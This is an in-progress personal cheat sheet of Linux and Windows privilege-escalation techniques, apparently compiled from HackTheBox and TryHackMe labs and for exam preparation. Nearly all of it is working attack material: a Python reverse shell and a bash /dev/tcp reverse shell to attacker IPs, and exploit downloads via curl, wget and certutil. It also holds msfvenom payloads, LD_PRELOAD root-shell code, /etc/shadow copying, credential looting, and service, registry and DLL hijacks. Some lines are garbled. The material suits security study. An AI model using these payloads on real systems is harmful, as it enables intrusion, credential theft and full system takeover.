Privilege Escalation (in progress)

useful links:

 

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md

There are some PrivEsc ‘go to’ pages out there which tell you exactly what to look for, but does not tell you what to do once you find what you’re looking for. This page aims to do both by showing some typical methods of both searching for and exploiting PrivEsc vulnerabilities. This document is available on github where additions or edits are welcomed.

Uploading and Downloading to a remote box can be a pain in the ass depending on the set up and tools available. scp, curl -O, wget, nc and more. Here is a handy link for a nc binary that can be run by uploading to /tmp and giving chmod permissions. https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/ncat

 

Most common methods:

-SUID/kernel exploits

-Token impersonations

-metasploit priv esc

-Taking advantage of files in documents/home directory.

Linux PrivEsc

uname -a

Kernel Exploits

Ok, probably the easiest PrivEsc method:

Identify

uname -a

This terminal command will reveal the kernel version. Simply google the kernel version to see if you can find an exploit. At a glance look at the version date, if its old it likely has an exploit. 2012 etc dirtycow or 2.6.22 < 3.9 – use dirty cow from dirtycow.ninja latest poc.

ssh firefart@IP

password: firefart

Exploit

A safe bet is to upload the exploit to the /tmp folder on the victim machine ( cd /tmp ). This can be achieved by starting a python sever in your attacking machine local dir3ctory or by staring an apache server on your Kali box ( service apache2 start) and then copying your exploit file in /var/www/html (cp exploit /vat/www/html ).

On the victim machine you may download the exploit for your attacking machine by curl ( curl -O http://attackerIP/exploit) or wget ( wget http://attackerIP/exploit ) . You will now have the exploit on the attacker machine in the /tmp dir3ctory. Depending on what code the exploit is written in you may need to compile it, for example in C the following compile method is typical ( GCC -o exploit exploit.c ). Then simply  give the exploit execution permission ( chmod +X exploit ) and then execute the exploit:

./exploit

Check if the exploit has worked:

Id;whoami

priv esc note  http://urfsecurity.info/posts/linuxprivesc/

SUID Priv Esc

find / -perm -u+s 2>/dev/null

“A SUID list appears, google each item in the list for an exploit, especially where an item is unusual or not usually seen in this command.”

In the HTB challenge, 3-’11  , I went through the list and saw /bin/screen-4.5.0 . I googled it finding the exploit EDB:ID 41154  . A shell script that I uploaded to /tmp , chmod 777 and executed it ./exploit.sh .  id indicated it was successful.

Known SUID Vulnerable Programs:

  • Nmap (sudo Nmap –interactive)
  • Vim
  • find
  • Bash (chmod +s bash && ./bash -p)
  • More
  • Python (python -c ‘import pty; pty.spawn(“/bin/sh”);’
    )
  • Less
  • Nano
  • cp.   (cp /etc/passwd /tmp && cp /etc/shadow /tmp)

see:

SUID Executables

https://www.hackingarticles.in/linux-privilege-escalation-using-suid-binaries/

SUDO -L

https://gtfobins.github.io

 

Bashed:

www-data@bashed:/tmp# sudo -l

Matching Defaults entries for www-data on bashed: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL

 

Priv Esc

sudo -u scriptmanager bash

crontab -l

ls -la /etc/cron.d

match running process with

find / -perm -2 -type f 2>/dev/null

Scheduled automated jobs which may execute files with Root privs

 

python script for reverse shell. script.py

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((“10.10.14.10”,4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call([“/bin/sh”,”-i”])

SSH

ssh -i id_rsa user@ip

ls -la

List all including hidden files from home directory or from directory /
Example from HTB Nineveh:

Metasploit Suggester

Existing Meterpreter session:

background

note session number under ID heading
sessions -i

search suggester
use post/multi/recon/local_exploit_suggester
set session 1
run

Hopefully you will find some results, simple copy and ‘use’ a suggested exploit and assign it to the same existing session.

set session 1
set payload linux/x86/meterpreter/reverse_tcp
set lhost
set lport
run
getuid if successful
if unsuccessful try another suggested exploit the same way.

Strings

As seen in HTB Nineveh, a png image secretly contains an RSA key.

<code>strings fileORimage.png</code>

World Writable Files

find / -user root -perm -002 -type f -not -path "/proc/*"  2>/dev/null

Once identified it will be a good idea to edit the code execute a shell to your netcat listener on a new port where that successful shell should be root.

See HTB Solidstate priv esc for an example.

ps -ef

Find running processes under users. e.g. ps -ef | grep tom

As seen in HTB node

ps -aux

Find running processes under all users.

See Xvnc running under root on HTB Poison

netstat -tlp / netstat -an |grep LISTEN

vnc 5801 / 5901 as seen HTB poison

Looting for Passwords


grep –color=auto -rnw ‘/’ -ie “PASSWORD” –color=always 2> /dev/null
find . -type f -exec grep -i -I “PASSWORD” {} /dev/null \;

WINDOWS

https://blog.ropnop.com/transferring-files-from-kali-to-windows/

Kernel Exploit

systeminfo


		

Passwords


grep -irnw '/path/to/somewhere/' -e 'password'

findstr /si password *.txt
findstr /si password *.xml
findstr /si password *.ini

#Find all those strings in config files.
dir /s *pass* == *cred* == *vnc* == *.config*

# Find all passwords in all files.
findstr /spin “password” *.*
findstr /spin “password” *.*

IN FILES

c:\sysprep.inf
c:\sysprep\sysprep.xml
c:\unattend.xml
%WINDIR%\Panther\Unattend\Unattended.xml
%WINDIR%\Panther\Unattended.xml

dir c:\*vnc.ini /s /b
dir c:\*ultravnc.ini /s /b
dir c:\ /s /b | findstr /si *vnc.ini

IN REGISTRY

# VNC
reg query “HKCU\Software\ORL\WinVNC3\Password”

# Windows autologin
reg query “HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon”

# SNMP Paramters
reg query “HKLM\SYSTEM\Current\ControlSet\Services\SNMP”

# Putty
reg query “HKCU\Software\SimonTatham\PuTTY\Sessions”

# Search for password in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

Linux Priv Esc for Exams

./lse.sh -i

 

 

sudo -u proftpd | bash

Kernel:

uname -a

./linux-exploit-suggesgter-2.pl -k (kerner version  e.g. 2.5.5

 

Bash lower than 4.2.-048 can define functions with / in names. see SUID

/bin/sh –version

 

Service Exploits

program –version.   /// dpkg -l |grep program   /// rpm -qa | grep program

ps aux | grep “^root”

 

If a given service is not accessible locally, check netstat -nl to see if it is running on a local port. If so use ssh port forwarding to access the service from local machine:

 

mysqld > Tib

 

Weak File Permissions

 

ls -la /etc/shadow

look for world r/w

w = replace password

openssl passwd “password”

mkpasswd -m sha512 password

r = crack password

:passwordstring inside:

paste hash to file = hash.txt

John –format=sha512crypt –wordlist=/usr/share/wordlists/rockyou.txt hash.txt

 

 

ls -la /etc/password

look for world w

remove x = root::0:0:root:/bin/bash

or generate password:

openssl passwd “password”

su:password

 

SUDO

sudo -l

check output against https://gtfobins.github.io

apache2 = sudo apache2 -f /etc/shadow

 

 

env_reset, env_keep, LD_PRELOAD

#include
#include <sys/types.h>
#include

void _init() {
unsetenv(“LD_PRELOAD”);
setresuid(0,0,0);
system(“/bin/bash -p”);
}

Compile only:

gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c

 

run sudo with shared object calling a sudo service for root shell:

sudo LD_PRELOAD=/tmp/preload.so apache2

 

LD_LIBRARY_PATH

ldd /usr/sbin/apache2

hit or miss method, try all lines.

#include
#include
static void hijack() __attribute__((constructor));

void hijack() { unsetenv(“LD_LIBRARY_PATH”);
setresuid(0,0,0);
system(“/bin/bash -p”);
}

compile only
gcc -o libcrypt.so.1 -shared -fPIC library_path.c

sudo LD_LIBRARY_PATH=. apache2

Cron Jobs

cat /etc/crontab        (/var/spool/cron/   —  /var/spool/cron/crontabs/ )

check job permissions: ls -la /directory/file

if world writeable input reverse shell to rootbash local:

#!/bin/bash
bash -i >& /dev/tcp/192.168.1.26/53 0>&1

 

If path variable is set and the job does not define an absolute path and we can write to a path directory:

create filename of cron file in writeable path directory e.g. /home/user/filenamecopy.sh

#!/bin/bash

cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash


save the file and make it executable 
chmod +x /home/user/filenamecopy.sh

wait and see rootbash in /tmp
execute persistently:
/tmp/rootbash -p

 

Cat the cron files to check code for things like tar *

if so see gtfobins

 

create reverse payload:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=53 -f elf -o shell.elf

copy payload to /user/home on target box

set up a local netcat listener and run:

touch /home/user/–checkpoint=1
touch /home/user/–checkpoint-action=exec=shell.elf

 

SUID / SGID

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

gtfobins, searchsploit, google

exim
sed -e “s/^M//” 39535.sh > privesc.sh
chmod + privesc.sh

Exim exploit: input line by line manually in terminal.

39535.sh

https://g0blin.co.uk/pluck-vulnhub-writeup/

 

 

suid-so
strace /usr/local/bin/suid-so 2>&1 | grep -iE “open|access|no such file”

see if a file is being called that is writeable or in a writable directory

if it is a script, use that script language to spawn a shell i.e.
#include
#include

static void inject() __attribute__((constructor));
void inject() {
setuid(0);
system(“/bin/bash -p”); }

compile:
gcc -shared -fPIC -o /home/user/.config/libcalc.so libcalc.c

run:
/usr/local/bin/suid-so

suid-env

strings /path/to/file

output:
service apache2 start
strace -v -f -e execve <command> 2>&1 | grep exec
ltrace 

 

look for a service call without absolute path.i.e. 
service apache2 start

int main() {
    setuid(0);
    system("/bin/bash -p"); 
}

compile:
gcc -o service service.c
run from same directory as service:
PATH=.:$PATH /usr/local/bin/suid-env

Bash lower than 4.2.-048 can define functions with / in names.

/bin/sh –version

bash lower than 4.4 inherits the PS4 environment variable.

see tib’s suid 15min+

shellops

Password & Key Hunting

cat ~/.*history | less

cat .bash_history

look for history like:

mysql -h somehost.local -uroot -ppassword123

check config files e.g:

cat vpn.ovpn

/var/backup, /var/logs

 

NFS Shares

Check the contents of /etc/exports for shares with the no_root_squash option:

cat /etc/exports

Confirm that the NFS share is available for remote mounting:

showmount -e <target>

nmap –sV –script=nfs-showmount <target>

mount -o rw,vers=2 <target>:<share> <local_directory>

Create a mount point on your local machine and mount the /tmp NFS share:

mkdir /tmp/nfs

mount -o rw,vers=2 192.168.1.25:/tmp /tmp/nfs

Using the root user on your local machine, generate a payload and save it to the mounted share:

msfvenom -p linux/x86/exec CMD=”/bin/bash -p” -f elf -o /tmp/nfs/shell.elf

Make sure the file has the SUID bit set, and is executable by everyone:

chmod +xs /tmp/nfs/shell.elf

On the target machine, execute the file to get a root shell:

/tmp/shell.elf

Windows Priv Esc for Exams

Plan of Action

Look for scheduled tasks, devtools etc.

ssh -L 10000:localhost:10000 [email protected]

 

 

pip install impacket

getsystem

cmdkey /list

powershell -ep bypass

(execution bypass)

C:\Windows\System32\runas.exe /user/ACCESS\Administrator /savecred “C:\Windows\System32\cmd.exe TYPE C:\Users\Administrator\Desktop\toot.txt > C:\Users\security\root.txt”

Kernel Exploits

systeminfo

Use Windows Exploit Suggester to Match Exploits.

Precompiled Exploits:

https://github.com/SecWiki/windows-kernel-exploits

file transfer (temp):

certutil -urlcache -f http://ip/file outputfilename.exe

Scheduled Tasks

https://tryhackme.com/room/hackpark

Identification

> schtasks /query /fo LIST /v

PS> Get-ScheduledTask | where {$_.TaskPath -notlike “\Microsoft*”} | ft TaskName,TaskPath,State

check files, .bat .ps1

type C:\DevTools\CleanUp.ps1

Once a file is identified, check access permissions for write permissions with accesschk.exe:

C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1

Backup file:

copy C:\DevTools\CleanUp.ps1 C:\Temp\

  1. Use echo to append a call to our reverse shell executable to the end of the script: echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1
  2. Wait for the scheduled task to run (it should run every minute) to complete the exploit.

Registry

1.Open command prompt and type: reg query HKLM\Software\Policies\Microsoft\Windows\Installer
2.From the output, notice that “AlwaysInstallElevated” value is 1.
3.In command prompt type: reg query HKCU\Software\Policies\Microsoft\Windows\Installer
4.From the output, notice that “AlwaysInstallElevated” value is 1.

0x1 = 1 = True

1. Open powershell prompt and type: Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl
2. Notice that the output suggests that user belong to “NT AUTHORITY\INTERACTIVE” has “FullContol” permission over the registry key.

 

See: https://tryhackme.com/room/windowsprivescarena

Passwords

findstr /si password *.txt *.ini *.config

winexe -U ‘admin’ //192.168.100.110 cmd.exe

Service Exploits

1. Insecure Service Properties

Discovery

winPEASany.exe quiet servicesinfo

“Interesting Services”
“Check if you can overwrite some service binary or perform DLL hijacking”
service here, active status e.g. daclsvc(DACL Service) C:\location\of\service active status
VULNERABLE STATUS i.e. YOU CAN MODIFY THIS SERVICE
“modifiable services”
“check if you can modify any services”
LOOKS LIKE YOU CAN MODIFY SOME SERVICES:
VULNERABLE SERVICE i.e. daclsvc write / create
Exploitation
Use accesschk.exe to verify start / stop and change or write capability:

Requires conditions a and one from b.

a. SERVICE_STOP, SERVICE_START

b. SERVICE_CHANGE_CONFIG, SERVICE_ALL_ACCESS

 

Verify Configuration:

sc qc daclsvc

demand_start – manual start requirement.

service_start_name: this is the user permission i.e. LocalSystem

Verify running status

sc query daclsvc

state= stopped etc

    1. Reconfigure the service to use our reverse shell executable:> sc config daclsvc binpath= “\”C:\PrivEsc\reverse.exe\””
    2. Start a listener on Kali, and then start the service to trigger the exploit:
         > net start daclsvc
      
      

2. Unquoted Service Path

Discovery

wmic service get name,displayname,pathname,startmode |findstr /i “auto” | findstr /i /v “c:\windows\” |findstr /i /v “””

.\winPEASany.exe quiet servicesinfo

unquotedsvc(unquoted path service) C:\path location\service.exe start retirement – running status
Exploitation
confirm: sc qc unquotedsvc
  1. Use accesschk.exe to check for write permissions:.\accesschk.exe /accepteula -uwdq C:\
    > .\accesschk.exe /accepteula -uwdq “C:\Program Files\”
    > .\accesschk.exe /accepteula -uwdq “C:\Program Files\Unquoted Path Service\”check group write access capability i.e. BUILTIN\USERS
  2. create executable in the writeable directory and name it according to the next unquoted path in the directory path.

In the case the executable lives at C:\Program Files\Unquoted Path Service\common files\unquotedsvc.exe

Therefore the executable file placed in the ‘unquotes ;path service’ directory will be named: common.exe

net start unquotedsvc

3. Weak Registry Permissions

Discovery

winPEASany.exe quiet servicesinfo

“Looking if you can modify the registry of a service”

HKLM\Registry\path (interactive[TakeOwnership])

 

Exploitation

check access permissions:

  1. Note that the “regsvc” service has a weak registry entry. We can confirm this with PowerShell:
  2. powershell -ep bypass
  3. PS> Get-Acl HKLM:\System\CurrentControlSet\Services\regsvc | Format-List
  4. Alternatively accesschk.exe can be used to confirm:.\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc
  5. Overwrite the ImagePath registry key to point to our reverse shell executable:> reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
  1. Start a listener on Kali, and then start the service to trigger the exploit:
        > net start regsvc
    
    Insecure Service Executables

4. Insecure Service Executables

Discovery

winPEASany.exe quiet servicesinfo

“Interesting Services”

“Check if you can overwrite some service binary or perform DLL hijacking”

filepermsvc(File Permission Service) C:\path to\service\executable.exe start-requirement current-running-status

File Permissions: Everyone [AllAccess]

Exploitation

Note that the “filepermsvc” service has an executable which appears to be writable by everyone. We can confirm this with accesschk.exe:

accesschk.exe /accepteula -quvw “C:\Program Files\File Permissions Service\filepermservice.exe”

see:

RW (read write) Everyone: File_All_access

Check stop start permissions:

accesschk.exe /accepteula -uvqc filepermsvc

Everyone Service_stop, Service_Start

Create a backup of the original service executable:

copy “C:\Program Files\File Permissions Service\filepermservice.exe” C:\Temp

Copy the reverse shell executable to overwrite the service executable:

copy /Y C:\PrivEsc\reverse.exe “C:\Program Files\File Permissions Service\filepermservice.exe”

Start a listener on Kali, and then start the service to trigger the exploit:

   > net start filepermsvc

5. DLL Hijacking

Discovery

“interesting services”

look for DLL

“Checking write permissions in PATH folders (DLL Hijacking)”

(DLL Hijacking) C:\Path Authenticated Users [write data / create files]

Exploitation

Note that the C:\Temp directory is writable and in the PATH. Start by enumerating which of these services our user has stop and start access to:

accesschk.exe /accepteula -uvqc user dllsvc

The “dllsvc” service is vulnerable to DLL Hijacking. According to the winPEAS output, the service runs the dllhijackservice.exe executable. We can confirm this manually:
sc qc dllsvc

Run Procmon64.exe with administrator privileges. Press Ctrl+L to open the Filter menu.

Add a new filter on the Process Name matching dllhijackservice.exe.

On the main screen, deselect registry activity and network activity.

Start the service:

net start dllsvc

Back in Procmon, note that a number of “NAME NOT FOUND” errors appear, associated with the hijackme.dll file.

At some point, Windows tries to find the file in the C:\Temp directory, which as we found earlier, is writable by our user.

On Kali, generate a reverse shell DLL named hijackme.dll:

# msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=53 -f dll -o hijackme.dll

Copy the DLL to the Windows VM and into the C:\Temp directory. Start a listener on Kali and then stop/start the service to trigger the exploit:
net stop dllsvc
net start dllsvc

Hot Potatoe1. In command prompt type: powershell.exe -nop -ep bypass
2. In Power Shell prompt type: Import-Module C:\Users\User\Desktop\Tools\Tater\Tater.ps1
3. In Power Shell prompt type: Invoke-Tater -Trigger 1 -Command “net localgroup administrators user /add”
4. To confirm that the attack was successful, in Power Shell prompt type: net localgroup administrators

 

see tryhackme TCM

Juicy Potatoe

whoami /priv

SeAssignPrimaryTokenPrivilege

SeImpersonatePrivilege

find Version for CLSID

PsExec64.exe -i -u “nt authority\local service” cmd.exe

find corresponding CLSID: https://ohpe.it/juicy-potato/CLSID/

juicypotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}

If enabled:

Lovely Potatoe